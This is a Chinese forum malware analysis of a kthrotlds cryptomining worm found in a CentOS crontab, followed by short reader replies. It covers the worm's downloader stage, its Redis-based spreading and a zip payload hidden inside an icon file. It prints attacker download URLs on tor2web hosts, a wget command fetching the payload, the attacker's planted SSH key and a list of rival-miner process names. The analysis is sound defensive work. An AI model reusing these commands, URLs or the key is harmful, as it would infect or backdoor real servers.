首页
社区
课程
招聘
[原创]记一起 kthroltlds 挖矿蠕虫变种分析
发表于: 2019-8-18 11:18 7464

[原创]记一起 kthroltlds 挖矿蠕虫变种分析

2019-8-18 11:18
7464

最近遇到的一次后门事件,通过分析发现是一起挖矿蠕虫。通过查询CentOS计划任务crontab,发现以下计划任务。



已手工重新格式化如下:


Linux平台日常查询计划任务时,发现了如上一大串的命令,非常可疑。经关键字搜索,发现可以判断为最近的kthroltlds挖矿病毒。

链接如下:

What is Linux process "kthrotlds" and how do I kill or reduce its CPU impact? : linuxquestions

https://www.reddit.com/r/linuxquestions/comments/bpe9am/what_is_linux_process_kthrotlds_and_how_do_i_kill/


初步看这段shell脚本,发现最后出现的wget请求了一些公网地址,最后还修改了文件权限,之后启动了这个脚本,非常明显的恶意行为。

搜索了下这些域名中的Tor2web,发现这是一个软件项目,允许从标准浏览器访问Tor隐藏服务,而无需连接到Tor网络。

这里可以发现这些站点为攻击者转发到相应的Tor onion站点,通过中间人转发代理,可以使用标准浏览器进行访问,作用是隐藏攻击者的信息。


该脚本这里的作用为下载器,下载后续的恶意代码并执行。

接着看,最后wget下载了一个shell脚本,下载下来后,VT检测如下:


VT检测结果:

https://www.virustotal.com/gui/file/7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16/detection

样本很新,发生在最近1个月内。


ldm脚本


MD5:529aa9ae456963bf203300fbd5b4e4f5

SHA-1:a2ca3481cd295bc2664587ac6a7804b5123dc3c1

SHA-256:7e77257f92a0e912b37b7c5556bfb448a6aa6d6d951f498ad58db57db2ae6a16


该样本第一次提交时间为2019-07-03 21:02:26 UTC


下面对该ldm脚本进行分析

在指定的目录下生成一些随机文件名的文件,出现两个计划任务配置,与之前的下载器的配置类似,方便后续对下载的脚本更新。

也是就是下载器下载完成后,就会执行之前随机文件名的脚本,接着使用ps aux命令查找是否有其他的挖矿进程与行为


"kworkerds\|56416\|xmr\|xig\|ddgs\|minerd\|hashvault\|geqn\|.kthreadd\|httpdz\|kworker\|config.json\|gwjyhs.com\|pastebin.com\|sobot.com\|kerbero


如果存在就杀死这些进程,接着通过访问ipinfo.io/ip得到当前机器的IP地址,将系统已经存在的任务计划目录,进行删除。

相关的路径如下:


crontab计划任务配置完成后,接着就开始对受害机器进行ssh配置,配置ssh免密登陆,具体配置可以查截图里具体命令。


skey="ssh-rsa  AAAAB3NzaC1yc2EAAAADAQABAAABAQC1Sdr0tIIL8yPhKTLzVMnRKj1zzGqtR4tKpM2bfBEx+AHyvBL8jDZDJ6fuVwEB+aZ8bl/pA5qhFWRRWhONLnLN9RWFx/880msXITwOXjCT3Qa6VpAFPPMazJpbppIg+LTkbOEjdDHvdZ8RhEt7tTXc2DoTDcs73EeepZbJmDFP8TCY7hwgLi0XcG8YHkDFoKFUhvSHPkzAsQd9hyOWaI1taLX2VZHAk8rOaYqaRG3URWH3hZvk8Hcgggm2q/IQQa9VLlX4cSM4SifM/ZNbLYAJhH1x3ZgscliZVmjB55wZWRL5oOZztOKJT2oczUuhDHM1qoUJjnxopqtZ5DrA76WH user@localhost"

最后会去访问并下载下一个恶意脚本名字为main,该地址 https://an7kmd2wp4xo7hpr.d2web.org/src/main 可下载到main脚本


main脚本分析


原始main文件样本

MD5:72c2ac79465ac780dc61e5dbea4caa00

SHA-1:7090a84dbbefbc65ef3026856e826301d9aa4992

SHA-256:6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230


https://www.virustotal.com/gui/file/6aef5bb7a15db0982fdf39147a514c4a75d4eb6587ea476f34c647e2bedc5230/detection

main脚本base64解码后的样本

MD5:d1eaec979e57c6b4cb19e58383284256

SHA-1:f67476fdb38aeb0d512757b837216994b7705bae

SHA-256:7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700


https://www.virustotal.com/gui/file/7112ae92d7b03f0a280616d076b692889b0b05a0a75559623df6acdf07255700/detection

解码后的脚本如下:

访问如下链接,下载对应的数据解码后执行。

https://an7kmd2wp4xo7hpr.tor2web.su/src/sc


得到下载的Python脚本sc

发现是执行端口扫描功能,再具体看看内部实现的功能。


这里可以看出,除了内网IP地址外,其余IP都会进行端口6379扫描,看看是否存在redis未授权访问,这里的话表示这个脚本存在蠕虫功能,同时redis存在未授权就设置相关的计划任务,进一步扩散。

同样的,main脚本里发现又下载了ioc文件(图标文件),目前不知道具体作用,先放一边,接下来这里是判断系统位数来下载对应的文件。



列举一个下载图标文件的地址:

wget https://an7kmd2wp4xo7hpr.tor2web.su/images/ico/r64x75.ico --no-check-certificate

https://an7kmd2wp4xo7hpr.tor2web.su/images/ico/r64x75.ico


通过第一行命令选择不同的前缀是a或r,具体取决于脚本检测到的操作系统版本。64x75代表系统是64位,反之32x75就是32位。

现在对下载到本地的ico文件进行分析,file命令识别为图标文件。


桌面环境能显示为一个github图标logo 



找隐藏文件这里的话靠经验,因为下载的文件不可能是一个正常的图标文件,不然下载了无任何作用,所以得寻找下是否存在常用的文件头标志,这里的话在偏移0xFBC处存在zip文件头,所以这里隐藏了一个zip压缩文件。 



对其解压,需要输入密码。





main脚本里可以找到解压密码:no-password,解压成功。



解压后的文件为ELF格式文件 



使用strings命令获取字符串,发现了UPX痕迹。 







使用工具对其脱壳如下:https://github.com/upx/upx/releases/download/v3.95/upx-3.95-amd64_linux.tar.xz



获取的ELF文件,上传VT检测。


r64x75_unpacked

MD5:707af0460ce6fa6406eb4068310cdd27

SHA-1:f06f6782a51d62dd889edfba26b68adc3fd6a70c


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 2
支持
分享
最新回复 (4)
雪    币: 279
活跃值: (123)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习了
2019-8-18 13:28
0
雪    币: 17428
活跃值: (5009)
能力值: ( LV9,RANK:450 )
在线值:
发帖
回帖
粉丝
3
罗小墨 学习了
本意是想分享出来,来避免更多人被攻击。
2019-8-19 11:31
0
雪    币: 184
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
4
想问下,如果已被攻击要怎么解决掉。。。。
2019-9-10 21:05
0
雪    币: 4684
活跃值: (4634)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
学习啦
2020-2-17 20:09
0
游客
登录 | 注册 方可回帖
返回
//